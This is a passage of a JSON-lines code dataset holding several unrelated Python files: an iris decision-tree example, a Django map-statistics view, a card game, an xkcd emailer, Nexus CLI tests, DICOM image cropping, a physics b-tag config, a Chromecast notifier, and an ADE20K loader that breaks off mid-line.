+{"seq_id":"83194065","text":"# -- encoding:utf-8 --\n\"\"\"\n@File : 02_案例代码：基于决策树算法的鸢尾花分类\n@Author: Octal_H\n@Date : 2019/10/13\n@Desc : \n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\n\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import classification_report\nfrom sklearn import metrics\nfrom sklearn.preprocessing import LabelEncoder\n\nmpl.rcParams['font.sans-serif'] = [u'simHei']\n\nnp.random.seed(0)\n\n# 1. 加载数据(数据一般存在于磁盘或者数据库)\npath = '../datas/iris.data'\nnames = ['A', 'B', 'C', 'D', 'cla']\ndf = pd.read_csv(path, header=None, names=names)\n\n\n# 2. 数据清洗\n\n\n# # 3. 根据需求获取最原始的特征属性矩阵X和目标属性Y\nX = df[names[0:-1]]\nY = df[names[-1]]\nprint(Y)\nlabel_encoder = LabelEncoder()\nlabel_encoder.fit(Y)\nY = label_encoder.transform(Y)\n# 这里得到的序号其实就是classes_这个集合中对应数据的下标\n# print(label_encoder.classes_)\n# true_label = label_encoder.inverse_transform([0, 1, 2, 0])\n# print(true_label)\n# print(Y)\n\n\n# 4. 数据分割\n# train_size: 给定划分之后的训练数据的占比是多少，默认0.75\n# random_state：给定在数据划分过程中，使用到的随机数种子，默认为None，使用当前的时间戳；给定非None的值，可以保证多次运行的结果是一致的。\nx_train, x_test, y_train, y_test = train_test_split(X, Y, train_size=0.8, random_state=28)\nprint(\"训练数据X的格式:{}, 以及类型:{}\".format(x_train.shape, type(x_train)))\nprint(\"测试数据X的格式:{}\".format(x_test.shape))\nprint(\"训练数据Y的类型:{}\".format(type(y_train)))\n\n\n# 5. 特征工程的操作\n# NOTE: 不做特征工程\n\n\n# 6. 模型对象的构建\n\"\"\"\ncriterion=\"gini\", -> 指定在计算最优划分特征的时候，特征属性的纯度衡���指标，可选值：gini和entropy\nsplitter=\"best\", -> 指定在选择特征属性的时候的划分方式，可选值：best和random\nmax_depth=None, -> 剪枝参数，构建完成的决策树允许最大的深度为多少，None表示不限制\nmin_samples_split=2, -> 剪枝参数，表示在构建决策树的时候，如果当前数据集中的样本数目小于该值，那么对于当前数据集不进行划分。\nmin_samples_leaf=1, -> 剪枝参数，指定在叶子节点中只要要求具有多少样本，可选值类型：int和float，int表示数量，float表示占比\nmax_features=None, -> 在寻找最优划分的时候，从多少个特征属性中找最优划分，默认为None，表示在所有特征属性中选择最优划分\nrandom_state=None, -> 随机数种子\nmax_leaf_nodes=None, -> 剪枝参数：最优允许的叶子节点数目，默认为None，表示不限制\n\"\"\"\nalgo = DecisionTreeClassifier(criterion='gini')\n\n\n# 7. 模型的训练\nalgo.fit(x_train, y_train)\n\n\n# 8. 模型效果评估\ntrain_predict = algo.predict(x_train)\ntest_predict = algo.predict(x_test)\nprint(\"测试集上的效果(准确率):{}\".format(algo.score(x_test, y_test)))\nprint(\"训练集上的效果(准确率):{}\".format(algo.score(x_train, y_train)))\nprint(\"测试集上的效果(分类评估报告):\\n{}\".format(classification_report(y_test, test_predict)))\nprint(\"训练集上的效果(分类评估报告):\\n{}\".format(classification_report(y_train, train_predict)))\nprint(\"各个特征的重要性权重系数（值越大，对应的特征属性就越重要）：{}\".format(algo.feature_importances_))\n\n\n# 9. 其它\nprint(\"返回的预测概率值:\\n{}\".format(algo.predict_proba(x_test)))\n\n","sub_path":"sklearn11/1117/02_案例代码：基于决策树算法的鸢尾花分类.py","file_name":"02_案例代码：基于决策树算法的鸢尾花分类.py","file_ext":"py","file_size_in_byte":3606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"504413128","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.views.decorators.cache import cache_page\n\nfrom django.contrib.auth.models import User\nfrom mapApp.models.alert_notification import IncidentNotification, HazardNotification, TheftNotification\n\nfrom mapApp.models import Incident, Hazard, Theft, AlertArea, Point\n\n@login_required\ndef stats(request):\n\tuser = request.user\n\n\t# Get the user's alertable points in the last month\n\tcollisions = Incident.objects.filter(p_type__exact=\"collision\") | Incident.objects.filter(p_type__exact=\"fall\")\n\tnearmisses = Incident.objects.filter(p_type__exact=\"nearmiss\")\n\thazards = Hazard.objects.all()\n\tthefts = Theft.objects.all()\n\n\trois = AlertArea.objects.filter(user=user.id)\n\n\t# recent sets = points that intersect an rois as defined by user and are reported in last month\n\tcollisionsInPoly = Incident.objects.none()\n\tnearmissesInPoly = Incident.objects.none()\n\thazardsInPoly = Hazard.objects.none()\n\ttheftsInPoly = Theft.objects.none()\n\t# Find intersecting points\n\tfor g in rois:\n\t\tcollisionsInPoly = collisionsInPoly | collisions.filter(geom__intersects=g.geom)\n\t\tnearmissesInPoly = nearmissesInPoly | nearmisses.filter(geom__intersects=g.geom)\n\t\thazardsInPoly = hazardsInPoly | hazards.filter(geom__intersects=g.geom)\n\t\ttheftsInPoly = theftsInPoly | thefts.filter(geom__intersects=g.geom)\n\n\tcontext = {\n\t\t'user': user,\n\n\t\t'geofences': rois,\n\n\t\t'collisions': collisions,\n\t\t'nearmisses': nearmisses,\n\t\t'hazards': hazards,\n\t\t'thefts': thefts,\n\n\t\t'collisionsInPoly': collisionsInPoly,\n\t\t'nearmissesInPoly': nearmissesInPoly,\n\t\t'hazardsInPoly': hazardsInPoly,\n\t\t'theftsInPoly': theftsInPoly,\n\t}\n\n\treturn render(request, 'mapApp/stats.html', context)\n\n# @cache_page(60 * 15)\ndef vis(request):\n\tincidents = Incident.objects.only('p_type').all()\n\n\tcontext = {\n\t\t'collisions': incidents.filter(p_type__exact=\"collision\"),\n\t\t'nearmisses': incidents.filter(p_type__exact=\"nearmiss\"),\n\t\t'hazards': Hazard.objects.all(),\n\t\t'thefts': Theft.objects.all(),\n\t\t'points': Point.objects.all(),\n\t\t'alertAreas': AlertArea.objects.filter(user=request.user.id)\n\t}\n\treturn render(request, 'mapApp/vis.html', context)\n","sub_path":"mapApp/views/statistics.py","file_name":"statistics.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"446965823","text":"\nimport random \n\nclass Player:\n    \n    present_card = 0\n    future_card = 0\n    total_points = [300]\n\n    def __init__(self):\n        pass\n\n    def draw(self):\n        self.present_card = random.randint(1, 13)\n        self.future_card = random.randint(1, 13)\n\n    def guess(self):\n        print(f\"The card is {self.present_card}\")\n\n        ans = input(\"The next card will be higher or lower? l/h: \" ).lower()\n        \n        print(f\"Next card was {self.future_card}\")\n        \n        if self.present_card < self.future_card:\n            next_card = \"h\"\n        elif self.present_card > self.future_card:\n            next_card = \"l\"\n        elif self.present_card == self.future_card:\n            next_card = \"equal\"\n        #print (ans, next_card)\n        if ans == \"h\":\n            result = True\n        elif ans == \"l\":\n            result = False\n        else:\n            result = None\n        return result\n\n\n    def count_points(self): \n        guess = self.guess()      \n        if guess == True:\n            self.total_points.append(100)\n        elif guess == False:\n            self.total_points.append(-75)\n        elif guess == None:\n            self.total_points.append(0)\n        return sum(self.total_points)\n\n","sub_path":"hilo/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"575775521","text":"import requests\nimport smtplib\nimport shutil\nimport config\n\nfrom bs4 import BeautifulSoup\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.image import MIMEImage\n\n#  Daily xkcd dose  - Pulls a random xkcd comic and sends it to you by mail.\n\n\ndef get_image():\n    # Finds and loads the image\n    header = \"xkcd\"\n    r = requests.get(\"https://c.xkcd.com/random/comic/\", header)\n    soup = BeautifulSoup(r.text, features=\"html.parser\")\n    comic_div = soup.find(id=\"comic\")\n    img = comic_div.find(\"img\")\n    img_url = img.get(\"src\")\n    fixed_img_url = \"https:\" + img_url\n    get_image.filename = img.get(\"alt\") + \".png\"\n    with requests.get(fixed_img_url, header, stream=\"True\") as r, open(get_image.filename, \"wb\") as fp:\n        r.raw.decode_content = True\n        shutil.copyfileobj(r.raw, fp)\n\n\ndef send_mail():\n\n    # Message config\n    msgRoot = MIMEMultipart(\"related\")\n    msgRoot[\"Subject\"] = \"Your daily xkcd dose - \" + get_image.filename\n    msgRoot[\"From\"] = config.send_from\n    msgRoot[\"To\"] = config.send_to\n\n    # Loads image to mail\n    fp = open(get_image.filename, \"rb\")\n    msgImage = MIMEImage(fp.read())\n    fp.close()\n    msgImage.add_header(\"Content-ID\", \"<image1>\")\n    msgRoot.attach(msgImage)\n\n    # Starts SMTP connection and sends the mail\n    server = smtplib.SMTP_SSL(config.host)\n    server.connect(config.host, config.port)\n    server.login(config.send_from, config.password)\n    server.sendmail(config.send_from, config.send_to, msgRoot.as_string())\n\n\nget_image()\nsend_mail()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"383635077","text":"import itertools\nimport pytest\nfrom semver import VersionInfo\n\nfrom nexuscli.api.repository import model\n\n\n@pytest.mark.parametrize(\n    'repo_class',\n    pytest.helpers.repositories_by_type(['hosted', 'proxy', 'group']))\ndef test_repository_recipe(repo_class, faker):\n    \"\"\"\n    For repository classes that accept multiple recipes, ensure the recipe\n    given is supported. For other repositories, ensure the recipe given is\n    ignored.\n    \"\"\"\n    accepts_multiple = bool((len(repo_class.RECIPES)-1))\n    missing_recipe = faker.pystr()\n\n    # TODO: DRY-UP this pattern\n    kwargs = {'recipe': missing_recipe}\n    if repo_class.TYPE == 'proxy':\n        kwargs['remote_url'] = faker.url()\n\n    if accepts_multiple:\n        with pytest.raises(ValueError):\n            repo_class(faker.word(), **kwargs)\n    else:\n        repo = repo_class(faker.word(), **kwargs)\n        assert repo.recipe_name != missing_recipe\n\n\n@pytest.mark.parametrize(\n    'repo_class', pytest.helpers.repositories_by_type('hosted'))\ndef test_upload_file(repo_class, mocker, file_upload_args, faker):\n    \"\"\"\n    Ensure all hosted repositories have an upload_file method that calls the\n    right helper from the upload module.\n    \"\"\"\n    src_file, _, dst_dir, dst_file = file_upload_args\n\n    repo = repo_class(faker.word())\n\n    x_upload_method_name = f'upload_file_{repo.recipe_name}'\n    upload_method = mocker.Mock()\n    # inject mock upload method into upload module\n    mock_upload = mocker.patch('nexuscli.api.repository.model.upload')\n    mocker.patch.object(mock_upload, x_upload_method_name, upload_method)\n\n    repo.upload_file(src_file, dst_dir, dst_file)\n\n    upload_method.assert_called_with(repo, src_file, dst_dir, dst_file)\n\n\n@pytest.mark.parametrize(\n    'repo_class', pytest.helpers.repositories_by_type(['proxy', 'group']))\ndef test_upload_missing(repo_class, faker):\n    \"\"\"\n    Ensure that no proxy, group repositories have upload_* methods\n    \"\"\"\n    kwargs = {}\n    if repo_class.TYPE == 'proxy':\n        kwargs['remote_url'] = faker.url()\n\n    repo = repo_class(faker.word(), **kwargs)\n\n    with pytest.raises(AttributeError):\n        repo.upload_file()\n\n    with pytest.raises(AttributeError):\n        repo.upload_directory()\n\n\n@pytest.mark.parametrize(\n    'repo_class, recurse, flatten', itertools.product(\n        pytest.helpers.repositories_by_type('hosted'),  # repo_class\n        [True, False],                                  # recurse\n        [True, False]))                                 # flatten\ndef test_upload_directory(repo_class, recurse, flatten, mocker, faker):\n    \"\"\"\n    Ensure the method calls upload_file with parameters based on the quantity\n    of files in a given directory.\n    \"\"\"\n    src_dir = model.upload.REMOTE_PATH_SEPARATOR.join(faker.words())\n    dst_dir = model.upload.REMOTE_PATH_SEPARATOR.join(faker.words())\n    x_subdirectory = faker.pystr()\n    x_file_path = faker.pystr()\n\n    util = mocker.patch('nexuscli.api.repository.model.util')\n    util.get_files.return_value = faker.pylist(10, True, str)\n    util.get_upload_subdirectory.return_value = x_subdirectory\n    mocker.patch('os.path.join', return_value=x_file_path)\n\n    x_get_upload_subdirectory_calls = [\n        mocker.call(dst_dir, x_file_path, flatten)\n        for _ in util.get_files.return_value  # just need the count of calls\n    ]\n\n    repo = repo_class(faker.word())\n    repo.upload_file = mocker.Mock()\n\n    repo.upload_directory(src_dir, dst_dir, recurse=recurse, flatten=flatten)\n\n    util.get_files.assert_called_with(src_dir, recurse)\n    util.get_upload_subdirectory.assert_has_calls(\n        x_get_upload_subdirectory_calls)\n    repo.upload_file.assert_called_with(x_file_path, x_subdirectory)\n\n\n@pytest.mark.parametrize(\n    'repo_class',\n    pytest.helpers.repositories_by_type(['hosted', 'proxy', 'group']))\ndef test_repository_configuration(\n        repo_class, mock_nexus_client, faker, gpg_key_as_cwd):\n    x_name = faker.word()\n    x_cleanup_policy = faker.word()\n    x_blob_store_name = faker.word()\n    x_remote_url = faker.url()\n    x_strict = faker.pybool()\n\n    kwargs = {\n        'nexus_client': mock_nexus_client,\n        'cleanup_policy': x_cleanup_policy,\n        'blob_store_name': x_blob_store_name,\n        'strict_content_type_validation': x_strict,\n    }\n\n    if repo_class.TYPE == 'proxy':\n        kwargs['remote_url'] = x_remote_url\n\n    repo = repo_class(x_name, **kwargs)\n    configuration = repo.configuration\n    attributes = configuration['attributes']\n\n    assert configuration['name'] == x_name\n    assert attributes['cleanup']['policyName'] == [x_cleanup_policy]\n    assert attributes['storage']['blobStoreName'] == x_blob_store_name\n    assert attributes['storage']['strictContentTypeValidation'] == x_strict\n\n    if repo.TYPE and repo.TYPE == 'proxy':\n        assert attributes['proxy']['remoteUrl'] == x_remote_url\n\n\n@pytest.mark.parametrize(\n    'yum_repo',\n    pytest.helpers.yum_repos()\n)\ndef test_yum_repository_configuration(yum_repo, mock_nexus_client, faker):\n    x_name = faker.word()\n    x_depth = faker.pyint()\n\n    kwargs = {\n        'nexus_client': mock_nexus_client,\n        'depth': x_depth\n    }\n\n    if yum_repo.TYPE == 'proxy':\n        kwargs['remote_url'] = faker.url()\n\n    repo = yum_repo(x_name, **kwargs)\n\n    assert repo.configuration['attributes']['yum']['repodataDepth'] == x_depth\n\n\n@pytest.mark.parametrize('version,xpolicy', [\n    (None, lambda x: [x]),\n    (model.CLEANUP_SET_MIN_VERSION, lambda x: [x]),\n    (VersionInfo(0, 0, 0), lambda x: x)\n])\ndef test_cleanup_policy(version, xpolicy, mocker, mock_nexus_client, faker):\n    \"\"\"\n    From CLEANUP_SET_MIN_VERSION, Nexus takes a set of policy names instead\n    of a single policy. Ensure the method returns the right type according to\n    the version.\n    https://github.com/thiagofigueiro/nexus3-cli/issues/77\n    \"\"\"\n    policy = faker.word()\n\n    mock_nexus_client.server_version = version\n    repository = model.Repository(\n        'myrepo', nexus_client=mock_nexus_client, cleanup_policy=policy)\n\n    assert repository.cleanup_policy == xpolicy(policy)\n","sub_path":"tests/api/repository/test_model.py","file_name":"test_model.py","file_ext":"py","file_size_in_byte":6089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"654122799","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport pandas as pd\nimport cv2, os\nimport xlrd\nimport matplotlib.pyplot as plt\nimport readdicom\nimport dataread\n\n\n# 读取dicom图像\ndef read_dicom(path):\n    im = readdicom.getImage(path)\n    return im\n\n\n# 读取jpg图像\ndef read_jpg(path):\n    im = cv2.imread(path)\n    return im\n\n\n# 起始点\ny_start = 100\nx_start = 100\ndef cut_center(im):\n    ''' 截图图片的中心范围，去掉图片边缘的文字信息\n\n    :param im: 要处理的图片\n    :return: 处理后的图片\n    '''\n    return im[y_start: -100, x_start: -100]\n\n# 小图截256 * 256，大图按原始比例截图\n# min_size = 256\n# max_size = 500\n# def get_tophi_loc(list):\n#     '''返回对图像进行切割的范围\n#\n#     :param list: 四个标记点的坐标信息\n#     :param ratio: width／hight的比例\n#     :return: 切割范围\n#     '''\n#     loc = np.array(list)\n#     # 获取左上，右下两个点\n#     x_min, y_min = np.min(loc, 0)\n#     x_max, y_max = np.max(loc, 0)\n#     # 获取最小范围宽度和高度\n#     width = x_max - x_min\n#     hight = y_max - y_min\n#\n#     # 默认扩大20个像素点的截取范围（上下左右各20）\n#     change_width = 20\n#     change_hight = 20\n#     # 根据ratio对width或hight进行更正\n#     if hight > max_size or width > max_size:\n#         # 如果超过了最大范围，则直接按实际比例截图\n#         pass\n#     elif hight > width:\n#         if hight > min_size:\n#             new_width = hight\n#             change_width = (new_width - width) / 2 + 20\n#         else:\n#             new_width = min_size\n#             new_hight = min_size\n#             change_width = (new_width - width) / 2 + 20\n#             change_hight = (new_hight - hight) / 2 + 20\n#     else:\n#         if width > min_size:\n#             new_hight = width\n#             change_hight = (new_hight - hight) / 2 + 20\n#         else:\n#             new_width = min_size\n#             new_hight = min_size\n#             change_width = (new_width - width) / 2 + 20\n#             change_hight = (new_hight - hight) / 2 + 20\n#\n#     # 对截取范围修正\n#     x_min -= change_width\n#     x_max += change_width\n#     y_min -= change_hight\n#     y_max += change_hight\n#\n#     return (int(x_min), int(x_max), int(y_min), int(y_max))\ndef get_tophi_loc(list):\n    '''返回对图像进行切割的范围\n\n    :param list: 四个标记点的坐标信息\n    :param ratio: width／hight的比例\n    :return: 切割范围\n    '''\n    loc = np.array(list)\n    # 获取左上，右下两个点\n    x_min, y_min = np.min(loc, 0)\n    x_max, y_max = np.max(loc, 0)\n    # 获取最小范围宽度和高度\n    width = x_max - x_min\n    hight = y_max - y_min\n\n    # 默认扩大20个像素点的截取范围（上下左右各20）\n    change_width = 20\n    change_hight = 20\n    if hight > width:\n        change_width = (hight - width) / 2 + 20\n    else:\n        change_hight = (width - hight) / 2 + 20\n\n    # 对截取范围修正\n    x_min -= change_width\n    x_max += change_width\n    y_min -= change_hight\n    y_max += change_hight\n\n    return (int(x_min), int(x_max), int(y_min), int(y_max))\n\n# 随机平移\ndef translation(x_min, x_max, y_min, y_max):\n    x = -np.random.randint(30, 60)\n    # y = np.random.randint(30, 60)\n    x_min += x\n    x_max += x\n    # y_min += y\n    # y_max += y\n\n    return (x_min, x_max, y_min, y_max)\n\n\n# 固定标记的坐标信息\nsign_loc = [(1016, 457), (1017, 430), (1006, 457), (1007, 428), (1110, 455), (1111, 428)]\ndef is_sign(pt):\n    '''判断坐标pt是否为固定标记\n    :param pt: 点的坐标\n    :return: True：是固定标记，False：不是\n    '''\n    for s_loc in sign_loc:\n        if np.abs(s_loc[0] - x_start - pt[0]) <= 3 and np.abs(s_loc[1] - y_start - pt[1]) <= 3:\n            return True\n    return False\n\n\n# 要处理的图像文件夹\nroot_dir = 'all_data'\n\nresult_dir = 'all_result/result/'\nfailed_dir = 'all_result/failed/'\nwrong_dir = 'all_result/wrong/'\n\nresult_num = 1\ndef generate_cut_img(patient_no, label, path, filename):\n    \"\"\"对path对应的文件进行切割，同时保存处理失败的文件\n        :param pt:\n            filename ：文件名\n            patient_no ：病例号\n            path ：要处理的文件路径\n            label ：良恶性标签 1 or 2\n        :return:\n          An `arg_scope` to use for the resnet models.\n        \"\"\"\n\n    # 生成result的数量\n    global result_num\n    # 读取后裁剪出中心信息\n    im = read_dicom(path)\n    im = cut_center(im)\n    # plt.imshow(im)\n    # plt.show()\n    # 保存原图信息，用于后面截取图片\n    img_orig = np.copy(im)\n\n    # 将图片二值化\n    im = cv2.cvtColor(im, cv2.COLOR_BGR2GRAY)\n    _, im = cv2.threshold(im, 180, 255, type=cv2.THRESH_BINARY)\n\n    # 读取标记模版\n    template1 = cv2.imread('model_img/model1.jpg', 0)\n    template2 = cv2.imread('model_img/model2.jpg', 0)\n    templates = [template1, template2]\n\n    # 保存四个坐标的信息\n    list = []\n    # 发现固定标记的个数\n    picture_sign_num = 0\n    for template in templates:\n        w, h = template.shape[::-1]\n        # 使用matchTemplate对原始灰度图像和图像模板进行匹配\n        res = cv2.matchTemplate(im, template, cv2.TM_CCOEFF_NORMED)\n        # 设定阈值\n        threshold = 0.85\n        # res大于85%\n        loc = np.where(res >= threshold)\n\n        # 使用灰度图像中的坐标对图像进行标记（画方框）\n        for pt in zip(*loc[::-1]):\n            # 过滤掉固定标记\n            if is_sign(pt):\n                picture_sign_num += 1\n                continue\n            cv2.rectangle(im, pt, (pt[0] + w, pt[1] + h), (255, 255, 255), 2)\n            list.append(pt)\n        # 显示图像\n\n    if len(list) != 4:\n        if picture_sign_num > 1:\n            # plt.imshow(im)\n            # plt.show()\n            print(filename, ' process failed')\n            if not os.path.exists(failed_dir):\n                os.mkdir(failed_dir)\n            cv2.imwrite(failed_dir + patient_no + '-' + os.path.splitext(filename)[0] + '.jpg', im)\n        else:\n            # plt.imshow(im)\n            # plt.show()\n            print(filename, ' data is wrong')\n            if not os.path.exists(wrong_dir):\n                os.mkdir(wrong_dir)\n            cv2.imwrite(wrong_dir + patient_no + '-' + os.path.splitext(filename)[0] + '.jpg', img_orig)\n    else:\n        x_min, x_max, y_min, y_max = get_tophi_loc(list)\n        # plt.imshow(img_orig[y_min:y_max, x_min:x_max])\n        # plt.show()\n\n        try:\n            # 随机平移\n            # x_min, x_max, y_min, y_max = translation(x_min, x_max, y_min, y_max)\n            # 保存截取的结果\n            if not os.path.exists(result_dir):\n                os.mkdir(result_dir)\n            result_img = img_orig[y_min:y_max, x_min:x_max]\n            result_img = cv2.resize(result_img, (dataread.ROWS, dataread.COLS), interpolation=cv2.INTER_CUBIC)\n            result_img = cv2.cvtColor(result_img, cv2.COLOR_BGR2RGB)\n            cv2.imwrite(result_dir + str(label) + patient_no + '_' + str(result_num) + '.jpg',\n                        result_img)\n            result_num += 1\n        except:\n            print(patient_no)\n\n\nif __name__ == '__main__':\n    data = pd.read_excel('2.xls', encoding='utf8')\n    data = data.loc[:, ['num', 'label', 'dir', 'filename']]\n\n    data = data.dropna(axis=0)\n\n    for num, label, dir, filename in data.values:\n        if os.path.exists(os.path.join(root_dir, dir)):\n            for filename in os.listdir(os.path.join(root_dir, dir)):\n                path = os.path.join(root_dir, dir, filename)\n                generate_cut_img(num, label, path, filename)\n","sub_path":"genetareimage.py","file_name":"genetareimage.py","file_ext":"py","file_size_in_byte":7736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"109880366","text":"from HiggsAnalysis.HeavyChHiggsToTauNu.OptimisationScheme import HPlusOptimisationScheme, Scenario\n\n# There must be 'optimisation' object\noptimisation = HPlusOptimisationScheme()\n\n_N = [1, 2]\n_leadingDiscr = [(\"T\", 0.898), (\"M\", 0.679), (\"L\", 0.244)]\n_subLeadingDiscr = _leadingDiscr[1:]\n\nscenarios = []\n_subScen = []\n\n# Symmetric cuts for at least 1 b jet\nfor leadName,leadCut in _leadingDiscr:\n    scenarios.append(Scenario(\"N1discr\"+leadName,\n                              jetNumber = 1,\n                              jetNumberCutDirection = \"GEQ\",\n                              leadingDiscriminatorCut = leadCut))\n\n\n# Symmetric cuts for at least 1 b jet\nfor leadName,leadCut in _leadingDiscr:\n    if leadName in [\"L\",\"M\"]:\n        scenarios.append(Scenario(\"N2discr\"+leadName,\n                                  jetNumber = 2,\n                                  jetNumberCutDirection = \"GEQ\",\n                                  leadingDiscriminatorCut = leadCut))\n\nscenarios.extend(_subScen)\n\noptimisation.addBTagVariations(scenarios)\n","sub_path":"HeavyChHiggsToTauNu_REMOVEME/python/optimisation/btagSymmetricScenarios.py","file_name":"btagSymmetricScenarios.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"94263651","text":"#!/usr/bin/python3\nfrom __future__ import print_function\nimport sys; sys.path.insert(0,'/usr/local/lib/python3.4/dist-packages/')\nimport time\nimport pychromecast #https://github.com/balloob/pychromecast/tree/master/pychromecast\nfrom gtts import gTTS #https://github.com/pndurette/gTTS\n#import sys\nURL_DOMOTICZ = 'http://127.0.0.1:8080/' # renseigner l'adresse et le port de votre domoticz\nfor arg in sys.argv:\n\tprint(arg)\ntts = gTTS(text=arg, lang='fr', slow=False)\ntts.save(\"/home/pi/domoticz/www/notification.mp3\")\n\nchromecasts = pychromecast.get_chromecasts()\n\n[cc.device.friendly_name for cc in chromecasts]\n['Yamaha'] # mettre le nom de votre chromecast separe par unevirgule ex: ['douche', 'salon', 'cuisine', 'chambre']\n\t\ncast = next(cc for cc in chromecasts )\n\ncast.wait()\n\nmc = cast.media_controller\n\nmc.play_media(URL_DOMOTICZ+'notification.mp3', 'audio/mp3')\n\nmc.block_until_active()\n\nmc.pause()\n#time.sleep(1)\nmc.play()\n","sub_path":"Python/chromecast.py","file_name":"chromecast.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"32868822","text":"# -*- coding: utf-8 -*-\r\nfrom __future__ import print_function\r\nfrom torch.utils.data import DataLoader\r\nfrom torch.utils.data import Dataset\r\nimport numpy as np\r\nimport glob\r\nimport json\r\nimport os\r\nimport argparse\r\nfrom models.model import PolygonModel\r\nimport torchvision.transforms as transforms\r\nfrom utils import *\r\nclass Ade20K(Dataset):\r\n    def __init__(self, path=None, seq_len=71, transform=None):\r\n        super(Ade20K, self).__init__()\r\n        self.path = path\r\n        self.seq_len = seq_len\r\n        self.transform = transform\r\n        # print(self.transform)\r\n        self.img_path = '/data/duye/ADE20K/validation/'\r\n        self.lbl_path = '/data/duye/ADE20K/val_new/label/*.png'\r\n        self.labels = glob.glob(self.lbl_path)\r\n        # print(self.labels)\r\n        self.total_count = len(self.labels)\r\n\r\n    def __len__(self):\r\n        return self.total_count\r\n\r\n    def __getitem__(self, index):\r\n        label = Image.open(self.labels[index])\r\n        label_index = self.labels[index].split('_')[2]\r\n            # 相应的txt文件\r\n        txt_file = '/data/duye/ADE20K/val_new/img/img_' + label_index + '.txt'\r\n            # print(txt_file)\r\n            # 打开txt获取相应的img路径\r\n        with open(txt_file, \"r\") as f:  # 打开文件\r\n            img_path = f.readline().replace('\\n', '')  # 读取文件\r\n            # 提取路径\r\n        img_path = self.img_path + img_path[36:]\r\n            # print('img_path:', img_path)\r\n            # 提取文件\r\n        img = Image.open(img_path).convert('RGB')\r\n\r\n        W = img.width\r\n        H = img.height\r\n        # 根据label\r\n        label = np.array(label)  # (H, W)\r\n        Hs, Ws = np.where(label == np.max(label))\r\n        minH = np.min(Hs)\r\n        maxH = np.max(Hs)\r\n        minW = np.min(Ws)\r\n        maxW = np.max(Ws)\r\n        curW = maxW - minW\r\n        curH = maxH - minH\r\n        extendrate = 0.1\r\n        extendW = int(round(curW * extendrate))\r\n        extendH = int(round(curH * extendrate))\r\n        leftW = np.maximum(minW - extendW, 0)\r\n        leftH = np.maximum(minH - extendH, 0)\r\n        rightW = np.minimum(maxW + extendW, W)\r\n        rightH = np.minimum(maxH + extendH, H)\r\n        objectW = rightW - leftW\r\n        objectH = rightH - leftH\r\n        # print(leftH, rightH, leftW, rightW)\r\n        img_new = img.crop(box=(leftW, leftH, rightW, rightH)).resize((224, 224), Image.BILINEAR)\r\n        img_new = self.transform(img_new)\r\n        left_WH = [leftW, leftH]\r\n        object_WH = [objectW, objectH]\r\n        origion_WH = [W, H]\r\n        # 记录Object WH / WH /left WH\r\n        gt = label\r\n        WH = {'left_WH': left_WH, 'object_WH': object_WH, 'origion_WH': origion_WH}\r\n        return img_new, gt, WH\r\n\r\ndef loadAde20K(batch_size, shuffle=False):\r\n    \"\"\"\r\n\r\n    :param path: train/test/val，数据集名\r\n    :param data_num: 实际无用的..\r\n    :param len_s: step_num, max-num of vertex,\r\n                Based on this statistics, we choose a hard limit of 70 time steps for our RNN,\r\n                taking also GPU memory requirements into account.\r\n    :param batch_size: bs\r\n    :return: dataloader, (bs, img_tensor, first, yt-2,yt-1, label_index)\r\n    \"\"\"\r\n    transform = transforms.Compose([transforms.ToTensor(), ])\r\n    Ade = Ade20K(transform=transform)\r\n    dataloader = DataLoader(Ade, batch_size=batch_size, shuffle=shuffle,\r\n                            drop_last=False)\r\n    print('DataLoader complete!', dataloader)\r\n    return dataloader\r\n\r\n# 测试得分\r\ndevices = 'cuda' if torch.cuda.is_available() else 'cpu'\r\n\r\ndef get_score_ADE20K(saved=False, maxnum=float('inf')):\r\n    model = PolygonModel(predict_delta=True).to(devices)\r\n    pre = 'ResNext_Plus_RL2_retain_Epoch1-Step4000_ValIoU0.6316584628283326.pth'\r\n    dirs = '/data/duye/pretrained_models/FPNRLtrain/' + pre\r\n    model.load_state_dict(torch.load(dirs))\r\n    model.eval()\r\n\r\n    iou = []\r\n    print('starting.....')\r\n    img_PATH = '/data/duye/ADE20K/validation/'\r\n    lbl_path = '/data/duye/ADE20K/val_new/label/*.png'\r\n    labels = glob.glob(lbl_path)\r\n    for label in labels:\r\n        name = label\r\n        label = Image.open(label)\r\n        label_index = name.split('_')[2]\r\n        # 相应的txt文件\r\n        txt_file = '/data/duye/ADE20K/val_new/img/img_' + label_index + '.txt'\r\n        with open(txt_file, \"r\") as f:  # 打开文件\r\n            img_path = f.readline().replace('\\n', '')  # 读取文件\r\n            # 提取路径\r\n        img_path = img_PATH + img_path[36:]\r\n        # raw image\r\n        img = Image.open(img_path).convert('RGB')\r\n        W = img.width\r\n        H = img.height\r\n        # 根据label\r\n        label = np.array(label)  # (H, W)\r\n        Hs, Ws = np.where(label == np.max(label))\r\n        minH = np.min(Hs)\r\n        maxH = np.max(Hs)\r\n        minW = np.min(Ws)\r\n        maxW = np.max(Ws)\r\n        curW = maxW - minW\r\n        curH = maxH - minH\r\n        extendrate = 0.10\r\n        extendW = int(round(curW * extendrate))\r\n        extendH = int(round(curH * extendrate))\r\n        leftW = 